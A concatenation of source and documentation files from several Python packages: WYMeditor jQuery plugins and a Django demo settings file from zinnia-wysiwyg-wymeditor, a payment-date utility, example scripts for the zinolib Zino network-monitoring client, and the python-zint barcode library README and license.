cell movement. */ TableEditor.prototype.keyDown = function (evt) { //'this' is the doc var wym = WYMeditor.INSTANCES[this.title], tableEditor = wym.tableEditor; if (evt.keyCode === WYMeditor.KEY.TAB) { return tableEditor.selectNextCell(wym.selected()); } return null; }; /** * Move the focus to the next cell. */ TableEditor.prototype.selectNextCell = function (elmnt) { var wym = this._wym, tableEditor = this, cell = wym.findUp(elmnt, ['td', 'th']), nextCells, tr, nextRows; if (cell === null) { return null; } // Try moving to the next cell to the right nextCells = jQuery(cell).next('td,th'); if (nextCells.length > 0) { tableEditor.selectElement(nextCells[0]); return false; } // There was no cell to the right, use the first cell in the next row tr = wym.findUp(cell, 'tr'); nextRows = jQuery(tr).next('tr'); if (nextRows.length !== 0) { nextCells = jQuery(nextRows).children('td,th'); if (nextCells.length > 0) { tableEditor.selectElement(nextCells[0]); return false; } } // There is no next row. Do a normal tab return null; }; /** * Select the given element using rangy selectors. */ TableEditor.prototype.selectElement = function (elmnt) { var sel = rangy.getIframeSelection(this._wym._iframe), range = rangy.createRange(this._wym._doc); range.setStart(elmnt, 0); range.setEnd(elmnt, 0); range.collapse(false); try { sel.setSingleRange(range); } catch (err) { // ie8 can raise an "unkown runtime error" trying to empty the range } // IE selection hack if (jQuery.browser.msie) { this._wym.saveCaret(); } }; /** * Get the common parent tr for the given table cell nodes. If the closest parent * tr for each cell isn't the same, returns null. */ TableEditor.prototype.getCommonParentTr = function (cells) { var firstCell, parentTrList, rootTr; cells = jQuery(cells).filter('td,th'); if (cells.length === 0) { return null; } firstCell = cells[0]; parentTrList = jQuery(firstCell).parent('tr'); if (parentTrList.length === 0) { return null; } rootTr = parentTrList[0]; // Ensure that all of the cells have the same parent tr jQuery(cells).each(function (index, elmnt) { parentTrList = jQuery(elmnt).parent('tr'); if (parentTrList.length === 0 || parentTrList[0] !== rootTr) { return null; } }); return rootTr; };
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/plugins/table/jquery.wymeditor.table.js
jquery.wymeditor.table.js
WYMeditor.editor.prototype.fullscreen = function() { var wym = this, $box = jQuery(this._box), $iframe = jQuery(this._iframe), $overlay = null, $window = jQuery(window), editorMargin = 15; // Margin from window (without padding) //construct the button's html var html = '' + "<li class='wym_tools_fullscreen'>" + "<a name='Fullscreen' href='#' " + "style='background-image: url(" + wym._options.basePath + "plugins/fullscreen/icon_fullscreen.gif)'>" + "Fullscreen" + "</a>" + "</li>"; //add the button to the tools box $box.find(wym._options.toolsSelector + wym._options.toolsListSelector) .append(html); function resize () { // Calculate margins var uiHeight = $box.outerHeight(true) - $iframe.outerHeight(true); var editorPadding = $box.outerWidth() - $box.width(); // Calculate heights var screenHeight = $window.height(); var iframeHeight = (screenHeight - uiHeight - (editorMargin * 2)) + 'px'; // Calculate witdths var screenWidth = $window.width(); var boxWidth = (screenWidth - editorPadding - (editorMargin * 2)) + 'px'; $box.css('width', boxWidth); $iframe.css('height', iframeHeight); $overlay.css({ 'height': screenHeight + 'px', 'width': screenWidth + 'px' }); } //handle click event $box.find('li.wym_tools_fullscreen a').click(function() { if ($box.css('position') != 'fixed') { // Store previous inline styles $box.data('wym-inline-css', $box.attr('style')); $iframe.data('wym-inline-css', $iframe.attr('style')); // Create overlay $overlay = jQuery('<div id="wym-fullscreen-overlay"></div>') .appendTo('body').css({ 'position': 'fixed', 'background-color': 'rgb(0, 0, 0)', 'opacity': '0.75', 'z-index': '98', 'top': '0px', 'left': '0px' }); // Possition the editor $box.css({ 'position': 'fixed', 'z-index': '99', 'top': editorMargin + 'px', 'left': editorMargin + 'px' }); // Bind event listeners $window.bind('resize', resize); $box.find('li.wym_tools_html a').bind('click', resize); // Force resize resize(); } else { // Unbind event listeners $window.unbind('resize', resize); $box.find('li.wym_tools_html a').unbind('click', resize); // Remove inline styles $box.css({ 'position': 'static', 'z-index': '', 'width': '', 'top': '', 'left': '' }); $iframe.css('height', ''); // Remove overlay $overlay.remove(); $overlay = null; // Retore previous inline styles $box.attr('style', $box.data('wym-inline-css')); $iframe.attr('style', $iframe.data('wym-inline-css')); } return false; }); };
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/plugins/fullscreen/jquery.wymeditor.fullscreen.js
jquery.wymeditor.fullscreen.js
(function () { function removeItem(item, arr) { for (var i = arr.length; i--;) { if (arr[i] === item) { arr.splice(i, 1); } } return arr; } if (WYMeditor && WYMeditor.XhtmlValidator._tags.param.attributes) { WYMeditor.XhtmlValidator._tags.embed = { "attributes":[ "allowscriptaccess", "allowfullscreen", "height", "src", "type", "width" ] }; WYMeditor.XhtmlValidator._tags.param.attributes = { '0':'name', '1':'type', 'valuetype':/^(data|ref|object)$/, '2':'valuetype', '3':'value' }; WYMeditor.XhtmlValidator._tags.iframe = { "attributes":[ "allowfullscreen", "width", "height", "src", "title", "frameborder" ] }; // Override the XhtmlSaxListener to allow param, embed and iframe. // // We have to do an explicit override // of the function instead of just changing the startup parameters // because those are only used on creation, and changing them after // the fact won't affect the existing XhtmlSaxListener var XhtmlSaxListener = WYMeditor.XhtmlSaxListener; WYMeditor.XhtmlSaxListener = function () { var listener = XhtmlSaxListener.call(this); // param, embed and iframe should be inline tags so that they can // be nested inside other elements removeItem('param', listener.block_tags); listener.inline_tags.push('param'); listener.inline_tags.push('embed'); listener.inline_tags.push('iframe'); return listener; }; WYMeditor.XhtmlSaxListener.prototype = XhtmlSaxListener.prototype; } })();
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/plugins/embed/jquery.wymeditor.embed.js
jquery.wymeditor.embed.js
WYMeditor.editor.prototype.rdfa = function (options) { var rdfa = new WYMeditor.RDFa(options, this); return rdfa; }; //RDFa constructor WYMeditor.RDFa = function (options, wym) { options = jQuery.extend({ setStdNameSpaces: true, extendXHTMLParser: true, buttons: {} }, options); this._options = options; this._wym = wym; this.init(); }; //RDFa plugin init WYMeditor.RDFa.prototype.init = function () { if (this._options.setStdNameSpaces) { this.setStdNameSpaces(); } if (this._options.extendXHTMLParser) { this.extendXHTMLParser(); } this.setButtons(); }; //Adding the namespaces to the document WYMeditor.RDFa.prototype.setStdNameSpaces = function () { this.addNameSpace('xmlns', 'http://www.w3.org/1999/xhtml'); this.addNameSpace('version', 'XHTML+RDFa 1.0'); }; WYMeditor.RDFa.prototype.addNameSpace = function (attr, value) { jQuery('html', this._wym._doc) .attr(attr, value); }; WYMeditor.RDFa.prototype.extendXHTMLParser = function () { this.extendAttributes(); this.setStdVocabularies(); this.extendLinkAttributes(); }; WYMeditor.RDFa.prototype.extendAttributes = function () { //Add the RDFa attributes WYMeditor.XhtmlValidator._attributes.core.attributes.push( 'rel', 'rev', 'content', 'href', 'src', 'about', 'property', 'resource', 'datatype', 'typeof' ); }; WYMeditor.RDFa.prototype.setStdVocabularies = function () { var _this = this; //Add the 'standard' vocabularies vocabularies = [ 'xmlns:biblio', 'xmlns:cc', 'xmlns:dbp', 'xmlns:dbr', 'xmlns:dc', 'xmlns:ex', 'xmlns:foaf', 'xmlns:rdf', 'xmlns:rdfs', 'xmlns:taxo', 'xmlns:xhv', 'xmlns:xsd' ]; jQuery.each(vocabularies, function (index, vocabulary) { _this.addVocabulary(vocabulary); }); }; WYMeditor.RDFa.prototype.addVocabulary = function (vocabulary) { WYMeditor.XhtmlValidator._attributes.core.attributes.push(vocabulary); }; WYMeditor.RDFa.prototype.extendLinkAttributes = function () { //Overwrite the <a> attributes 'rel' and 'rev' WYMeditor.XhtmlValidator._tags.a = { "attributes": { "0": "charset", "1": "coords", "2": "href", "3": "hreflang", "4": "name", "5": "rel", "6": "rev", "shape": /^(rect|rectangle|circ|circle|poly|polygon)$/, "7": "type" } }; }; WYMeditor.RDFa.prototype.setButtons = function () { var _this = this, list = jQuery(this._wym._box).find('div.wym_classes ul'); jQuery.each(this._options.buttons, function (index, button) { list .append('<li></li>') .children(':last') .append('<a></a>') .children(':last') .attr('href', '#') .text(button.title) .bind('click', { instance: _this._wym, button: button, ns: button.ns, attr: button.attr, value: button.value }, _this.clickButtonHandler); }); }; WYMeditor.RDFa.prototype.clickButtonHandler = function (evt) { var wym = evt.data.instance, selected = wym.selected(); //the attribute already exists, remove it if (typeof jQuery(selected).attr(evt.data.attr) !== 'undefined' && jQuery(selected).attr(evt.data.attr) !== '') { WYMeditor.console.log( 'attribute already exists, remove it:', evt.data.attr, jQuery(selected).attr(evt.data.attr) ); jQuery(selected) .removeAttr(evt.data.attr) .removeClass(evt.data.ns) .removeClass(evt.data.attr) .removeClass(evt.data.value); //else, add it } else { WYMeditor.console.log('attribute does not exist, add it:', evt.data.attr, evt.data.value); if (evt.data.value) { //value available jQuery(selected) .attr(evt.data.attr, evt.data.ns + ':' + evt.data.value) .addClass(evt.data.ns) .addClass(evt.data.attr) .addClass(evt.data.value); } else { //value not available evt.data.value = prompt('Value', ''); if (evt.data.value !== null) { jQuery(selected) .attr(evt.data.attr, evt.data.value) .addClass(evt.data.ns) .addClass(evt.data.attr) .addClass(evt.data.value); } } } return false; };
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/plugins/rdfa/jquery.wymeditor.rdfa.js
jquery.wymeditor.rdfa.js
resizable plugin for WYMeditor ############################## The ``resizable`` plugin for WYMeditor_ enables vertical resizing of the editor area. The plugin is based on the jQuery UI library. Requirements ============ The following packages are required for using the WYMeditor ``resizable`` plugin: * jQuery (tested with jQuery ``jquery-1.2.4a.js`` from ``jquery.ui`` package) * WYMeditor SVN trunk (Revision: 482) * jQuery-UI (tested with ``jquery.ui-1.5b2``) It should be possible to use this plugin with ``WYMeditor-0.4`` but I have not tried. Download ======== You can download the WYMeditor ``resizable`` plugin here: * wymeditor-resizable-plugin-0.2.tgz_ * wymeditor-resizable-plugin-0.1.tgz_ See the Changelog_ for more infos about the releases. .. _wymeditor-resizable-plugin-0.2.tgz: http://pyjax.net/download/wymeditor-resizable-plugin-0.2.tgz .. _wymeditor-resizable-plugin-0.1.tgz: http://pyjax.net/download/wymeditor-resizable-plugin-0.1.tgz Installation ============ Just extract the downloaded archive into your WYMeditor's ``plugin`` directory. Usage ===== For general instructions on WYMeditor plugins please refer to the `WYMeditor plugin page`_. To use the ``resizable`` plugin simply include the plugin's JavaScript file in your code. You **do not** need to include the jQuery UI files - this is done automatically by the plugin (see `Internals`_):: <script type="text/javascript" src="/js/wymeditor/plugins/resizable/jquery.wymeditor.resizable.js"> </script> Make sure to adjust the ``src`` attribute to your needs, then initialize the plugin in WYMeditor's ``postInit`` function:: wymeditor({postInit: function(wym) { wym.hovertools(); // other plugins... wym.resizable({handles: "s,e", maxHeight: 600}); } }) The ``resizable`` plugin takes exactly one parameter, which is an object literal containing the options of the plugin. The WYMeditor ``resizable`` plugin supports all options of the jQuery UI ``resizable`` plugin. These are the default values used by the plugin:: handles: "s,e,se", minHeight: 250, maxHeight: 600 See the `jQuery UI resizable plugin docs`_ for a list of all options. That's it! You are now able to resize the WYMeditor vertically, horizontally or both, depending on your options. .. _jQuery UI resizable plugin docs: http://docs.jquery.com/UI/Resizables Internals ========= The plugin takes care of loading the necessary jQuery UI files (``base`` and ``resizable``) from the same path the jQuery library was loaded. Here's how it's done:: // Get the jQuery path from the editor, stripping away the jQuery file. // see http://www.oreilly.com/catalog/regex/chapter/ch04.html // The match result array contains the path and the filename. var jQueryPath = wym.computeJqueryPath().match(/^(.*)\/(.*)$/)[1]; // Make an array of the external JavaScript files required by the plugin. var jQueryPlugins = [jQueryPath + '/ui.base.js', jQueryPath + '/ui.resizable.js']; // First get the jQuery UI base file $.getScript(jQueryPlugins[0]); // Get the jQuery UI resizeable plugin and then init the wymeditor resizable // plugin. It is import to do the initialisation after loading the // necessary jQuery UI files has finished, otherwise the "resizable" method // would not be available. $.getScript(jQueryPlugins[1], function() { jQuery(wym._box).resizable(final_options); }); An alternative approach would be to use an AJAX queue when getting the script files to ensure that all jQuery files are loaded before the initialisation code of the plugin is executed. There is an `jQuery AJAX queue plugin`_ which does that. .. _jQuery AJAX queue plugin: http://plugins.jquery.com/project/ajaxqueue Changelog ========= 0.2 --- - Added full support for all jQuery UI resizable plugin options. - Refactored and documented code. - Now contains a packed version (775 bytes). 0.1 --- - Initial release. .. _WYMeditor: http://www.wymeditor.org/ .. _WYMeditor plugin page: http://trac.wymeditor.org/trac/wiki/0.4/Plugins
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/plugins/resizable/readme.txt
readme.txt
import os gettext = lambda s: s DEBUG = True DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('is', gettext('Icelandic')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('uk_UA', gettext('Ukrainian')), ('zh-hans', gettext('Simplified Chinese')), ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'demo_zinnia_wymeditor.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ] } } ] INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'tagging', 'zinnia', 'zinnia_wymeditor', )
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/demo_zinnia_wymeditor/settings.py
settings.py
import numpy as np import datetime import holidays from datetime import timedelta from argparse import ArgumentParser def get(**kwars): try: date = kwars['startDate'] days = kwars['days'] except Exception as e: return e days_in_period = kwars.get('period', 30) active_holidays = kwars.get('holidays', True) active_sundays = kwars.get('sundays', True) active_day_cero = kwars.get('day_cero', True) date_format = "%Y-%m-%d" date = datetime.datetime.strptime(date, date_format).date() period = int(np.ceil(np.floor(days/days_in_period))) if active_day_cero: dates = [[date + timedelta(days=i), 0] for i in range(0, (days_in_period*period) + 1)] else: dates = [[date + timedelta(days=i), 0] for i in range(days_in_period * period)] for i in range(period): key = ((i+1) * days_in_period) - 1 last_day_to_pay = dates[key][0] up_d = [] x = 0 next_x_day = next_day( last_day_to_pay, active_holidays, active_sundays, x) final_key = key + next_x_day if with_keys(key + next_x_day, dates) is False: if active_day_cero: final_key = key - 1 else: up_d = up_days(next_x_day, last_day_to_pay) dates = dates + up_d final_key = key + len(up_d) dates[final_key][1] = 1 return [[date.strftime(date_format), flag] for date, flag in dates] def with_keys(new_keys, list_): return len(list_) > new_keys def is_holiday(date): return date in holidays.CO() def is_sunday(date): return date.strftime('%A') == 'Sunday' def next_day(date, active_holidays, active_sundays, x): if active_holidays and active_sundays and (is_holiday(date) or is_sunday(date)): x = x + 1 date = date + timedelta(days=1) return next_day(date, active_holidays, active_sundays, x=x) return x def up_days(days, date): return [[date + timedelta(days=i), 0] for i in range(days, days + 1)]
zinobe-dates
/zinobe-dates-0.2.2.tar.gz/zinobe-dates-0.2.2/zinobe/dates.py
dates.py
======= Zinolib ======= Python library to connect to zino data and notification channel This module implements almost every functionality that Zino exports via the data and notification channel. Split from internal project PyRitz on 2023-03-23. Testing ======= This library is testable with unittests, When testing it starts a Zino emulator that reponds correctly to requests as the real server would do. Test with current python: ```python3 -m unittest discover -s tests/``` If you have all currently supported pythons in your path, you can test them all, with an HTML coverage report placed in `htmlcov/`: ```tox``` To test on a specific python other than current, run: ```tox -e py{version}``` where `version` is of the form "311" for Python 3.11.
zinolib
/zinolib-0.9.20.tar.gz/zinolib-0.9.20/README.rst
README.rst
from ritz import ritz, notifier, parse_tcl_config, caseType from pprint import pprint from os.path import expanduser from time import sleep import re import argparse import sys import logging cases = {} def show(): print(chr(27) + "[2J") # Clear screen for c in cases: case = cases[c] if case["type"] == caseType.PORTSTATE: # LowerLayerDown state is quite long... shorten it if "lowerLayerDown" in case["portstate"]: portState = "LowerDown" else: portState = case["portstate"] print("%-10s %-8s %-15s %-24s %-s" % ( portState, case["state"], case["router"], case["port"], case["descr"] if "descr" in case else "---")) def main(): parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument('--prod', action='store_true') args = parser.parse_args() conf = parse_tcl_config("~/.ritz.tcl") if args.prod: c_server = conf["default"]["Server"] c_user = conf["default"]["User"] c_secret = conf["default"]["Secret"] else: c_server = conf["UNINETT-backup"]["Server"] c_user = conf["UNINETT-backup"]["User"] c_secret = conf["UNINETT-backup"]["Secret"] ritzlog = logging.getLogger("ritz") ritzlog.setLevel(logging.DEBUG) ritzlog.addHandler(logging.FileHandler('comm.log')) sess = ritz(c_server) sess.connect() sess.authenticate(c_user, c_secret) get_caseids = sess.get_caseids() for i in get_caseids: print("Case: %i" % i) cases[i] = sess.get_attributes(i) show() pass notif = notifier(sess) notif.connect() while True: n = notif.poll() if n: print(n) p = n.split(' ', 2) if "attr" in p[1]: pprint(sess.get_attributes(int(p[0]))) elif "log" in p[1]: pprint(sess.get_log(int(p[0]))) elif "state" in p[1]: v = p[2].split(' ', 1) print("State on %s changed from %s to %s" % (p[0], v[0], v[1])) else: print("UNKNOWN!!!! : %s" % n) print() sleep(1) if args.CaseID not in get_caseids: print(get_caseids) print("CaseID %i is not in database" % args.CaseID) sys.exit(1) pprint(sess.get_attributes(args.CaseID)) print("Get History: %i" % args.CaseID) pprint(sess.gethist(args.CaseID)) print("Get Log: %i" % args.CaseID) pprint(sess.get_log(args.CaseID)) # print("Add test message to log: 24014") # pprint(sess.add_history(24014, "Testmelding ifra pyRitz")) # print("set_state 'open': %i" % args.CaseID) # pprint(sess.set_state(args.CaseID, "open")) if __name__ == "__main__": main()
zinolib
/zinolib-0.9.20.tar.gz/zinolib-0.9.20/examples/monitor.py
monitor.py
from ritz import ritz, notifier, parse_tcl_config from pprint import pprint from time import sleep import re import argparse import sys from datetime import datetime, timedelta import logging def main(): parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument('--prod', action='store_true') parser.add_argument('--remove-all-pms', action='store_true') args = parser.parse_args() conf = parse_tcl_config("~/.ritz.tcl") if args.prod: c_server = conf["default"]["Server"] c_user = conf["default"]["User"] c_secret = conf["default"]["Secret"] else: c_server = conf["UNINETT-backup"]["Server"] c_user = conf["UNINETT-backup"]["User"] c_secret = conf["UNINETT-backup"]["Secret"] ritzlog = logging.getLogger("ritz") ritzlog.setLevel(logging.DEBUG) ritzlog.addHandler(logging.FileHandler('comm.log')) with ritz(c_server, username=c_user, password=c_secret) as sess: print("List all PMs:") pm = sess.pm_list() print(pm) for i in pm: print("canceling %d" % i) sess.pm_cancel(i) print("Schedule test pm:") pm = sess.pm_add_device(datetime.now() + timedelta(minutes=1), datetime.now() + timedelta(minutes=2), "teknobyen-gw4") print("sheduled: %s" % pm) pm2 = sess.pm_add_interface(datetime.now() + timedelta(minutes=1), datetime.now() + timedelta(minutes=2), "uninett-tor-sw3", "xe-0/0/19") print("sheduled: %s" % pm2) print("List all PMs:") pms = sess.pm_list() print(pm) print("pm_get_details %s:" % pm) p = sess.pm_get_details(pm) for k in p.keys(): print("%-10s %-s" % (k, p[k])) print("pm_get_details %s:" % pm2) p = sess.pm_get_details(pm2) for k in p.keys(): print("%-10s %-s" % (k, p[k])) print("pm_get_matching: %s" % pm) for p in sess.pm_get_matching(pm): print(p) print("pm_get_matching:%s" % pm2) for p in sess.pm_get_matching(pm2): print(p) print("pm_cancel:") print(sess.pm_cancel(pm)) print(sess.pm_cancel(pm2)) return if __name__ == "__main__": main()
zinolib
/zinolib-0.9.20.tar.gz/zinolib-0.9.20/examples/pm-add.py
pm-add.py
import subprocess import re import sys import os from ritz import ritz from datetime import datetime, timedelta def main(): """ Script to schedule downtime of interfaces in zino when a server reboots. This script tries to detect interface names via LLDP and uses the env variables ZINOUSER and ZINOSECRET to connect to zino as as a ritz client. """ if "ZINOUSER" in os.environ and "ZINOSECRET" in os.environ: user = os.environ["ZINOUSER"] secret = os.environ["ZINOSECRET"] else: sys.exit("ZINOUSER and/or ZINOSECRET env variable is not set, exiting") if "ZINOSERVER" in os.environ: server = os.environ["ZINOSERVER"] else: server = "zino.uninett.no" ports = collect_interfaces() if ports: with ritz(server, username=user, password=secret) as s: for device, porttype, port in ports: try: id = s.pm_add_interface(datetime.now() + timedelta(seconds=15), datetime.now() + timedelta(minutes=30), device, r"^{}(\.\d+)?$".format(port)) print("Scheduled maintenance for %s %s : id %s" % (device, port, id)) except Exception as e: print("Unable to schedule maintenance for %s %a : %s" (device, port, e)) def collect_interfaces(): lldp = subprocess.check_output(["lldpctl"]) portlist = [] device = "" print("Locating interfaces:") for line in lldp.decode().split("\n"): d = re.search("SysName:(.*)$", line) if d: device = d.group(1).strip() p = re.search("PortID:\W+(\w+)\W+(\S+)$", line) if p: porttype, port = p.groups() if porttype not in ["local", "ifname"]: print("Unable to add interface %s %s, Type needs to be ifname, not %s" % (device, port, porttype)) else: portlist.append([device, porttype, port]) print("Found interface: %s %s" % (device, port)) return portlist if __name__ == "__main__": main()
zinolib
/zinolib-0.9.20.tar.gz/zinolib-0.9.20/examples/reboot.py
reboot.py
import subprocess import logging import re import sys import os import socket from ritz import ritz, caseType, caseState from datetime import datetime, timedelta import traceback import re def main(): """ Script to schedule downtime of interfaces in zino when a server reboots. This script tries to detect interface names via LLDP and uses the env variables ZINOUSER and ZINOSECRET to connect to zino as as a ritz client. """ if "ZINODEBUG" in os.environ: ritzlog = logging.getLogger("ritz") ritzlog.setLevel(logging.DEBUG) ritzlog.addHandler(logging.FileHandler('comm.log')) if "ZINOUSER" in os.environ and "ZINOSECRET" in os.environ: user = os.environ["ZINOUSER"] secret = os.environ["ZINOSECRET"] else: sys.exit("ZINOUSER and/or ZINOSECRET env variable is not set, exiting") if "ZINOSERVER" in os.environ: server = os.environ["ZINOSERVER"] else: server = "zino.uninett.no" if "ZINOHOSTNAME" in os.environ: fqdn = os.environ["ZINOHOSTNAME"] else: fqdn = socket.getfqdn() if not fqdn.endswith(".uninett.no"): sys.exit("Wooth? sysname does not end with uninett.no?") print("Removing Maintenance on physical interfaces") with ritz(server, username=user, password=secret) as s: try: # Actually searching for ', fqdn.domain.ext' ids = s.get_caseids() for id in ids: try: attr = s.case(id) except Exception as e: print(e) #print("Invalid case {id}".format(id=id)) continue if attr.type not in [caseType.PORTSTATE]: print("case {id} is not a portstate".format(**attr)) continue #print("Checking case {id}: {descr}".format(**attr)) #Check if case has a descr if not attr.has_key("descr"): continue if not re.search(r", {}".format(fqdn.replace(".", r"\.")), attr.descr): print("Did not match: {}".format(attr.descr)) continue print("Found case {id}: {descr}".format(**attr)) if attr.portstate == "up" and attr.state in [caseState.IGNORED, caseState.OPEN]: # This case is not tampered with, just close it :) try: s.clear_flapping(attr.router, attr.ifindex) s.add_history(id, "This case is automatically closed by {filename}".format(filename=os.path.basename(__file__))) s.set_state(id, "closed") print(" Closed") except Exception as e: print(" Error closing: %s" % e) except Exception as e: print("Unable to clean : %s" % (traceback.format_exc())) if __name__ == "__main__": main()
zinolib
/zinolib-0.9.20.tar.gz/zinolib-0.9.20/examples/host_up_cleanup.py
host_up_cleanup.py
Python-Zint is a ctypes interface to libzint of Robin Stuart's Zint project: <http://www.zint.org.uk/> <https://zint.github.io> Usage closely follows the C API: <http://www.zint.org.uk/Manual.aspx?type=p&page=5> Example #1 ========== Generate a QRCode saved to file out.png:: import zint import sys symbol = zint.ZBarcode_Create() symbol.contents.symbology = zint.BARCODE_QRCODE symbol.contents.scale = 2.5 symbol.contents.option_1 = 4 symbol.contents.border_width = 4 input = zint.instr(b'https://github.com/jmptbl/python-zint') if zint.ZBarcode_Encode_and_Print(symbol, input, 0, 0) != 0: print('error: %s' % symbol.contents.errtxt) sys.exit(1) zint.ZBarcode_Delete(symbol) Result ------ .. image:: sample/out.png?raw=true Example #2 ========== Generate a QRCode in memory only:: import zint import sys symbol = zint.ZBarcode_Create() symbol.contents.symbology = zint.BARCODE_QRCODE symbol.contents.scale = 0.01 symbol.contents.option_1 = 4 symbol.contents.border_width = 0 input = zint.instr(b'https://github.com/jmptbl/python-zint') if zint.ZBarcode_Encode_and_Buffer(symbol, input, 0, 0) != 0: print('error: %s' % symbol.contents.errtxt) sys.exit(1) bitmap = zint.bitmapbuf(symbol) pixel = 0 for y in range(symbol.contents.bitmap_height): line = '' for x in range(symbol.contents.bitmap_width): # Each pixel represented by a 3 byte # RGB value if ord(bitmap[pixel]) > 0: line += ' ' else: line += '*' pixel += 3 print(line) zint.ZBarcode_Delete(symbol) Result ------ :: ******* ***** * * * ** * ******* * * * *** * ** * * * * * * *** * * * * ** *** ** * *** * * *** * * ** * ** *** ** * *** * * *** * * ** ** * * *** * * * * * * * **** * * * ******* * * * * * * * * * * * ******* ** * * ** ** *** ** * ** * ** * * * * * * * * * ** * * *** * * * * ********** * ** * ** * **** ** * ** * * * * *** ** * * *** * ** ****** * ** ** * ** ***** * * *** * ***** * *** * ***** * ** ** * ******* * ** * **** ** * ** * * * ** * **** * * ** ** *** ** * *** * * * *** *** ** * ** * ** **** **** * *** * *** * ** * * ** *** ** * **** * *** * ** ** ** * ** ** * ** ***** **** *** * * **** ** * ****** ***** * **** ** * * ******* * * ** *** * * * *** ****** * * * * * ** * * ****** *** ** ** * * *** * * **** ** ** * ***** ** * *** ******** * * ** * * ** ** * **** ** * **** * *** ** * ** ** ** ************** ****** * * **** ** ** * ******* * * * * **** * * * *** * * * * ** ** * * ** ** ** * *** * *** ** ** ** ******** * * *** * *** * ** ** *** * * ** * *** * * * * * * *** * * * * * ** * **** * * * * * ** * ******* * **** * ** ** * *** *
zint
/zint-1.4.tar.gz/zint-1.4/README.rst
README.rst
Copyright (c) 2019-2023, Aragon Gouveia All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of python-zint nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
zint
/zint-1.4.tar.gz/zint-1.4/LICENSE.rst
LICENSE.rst
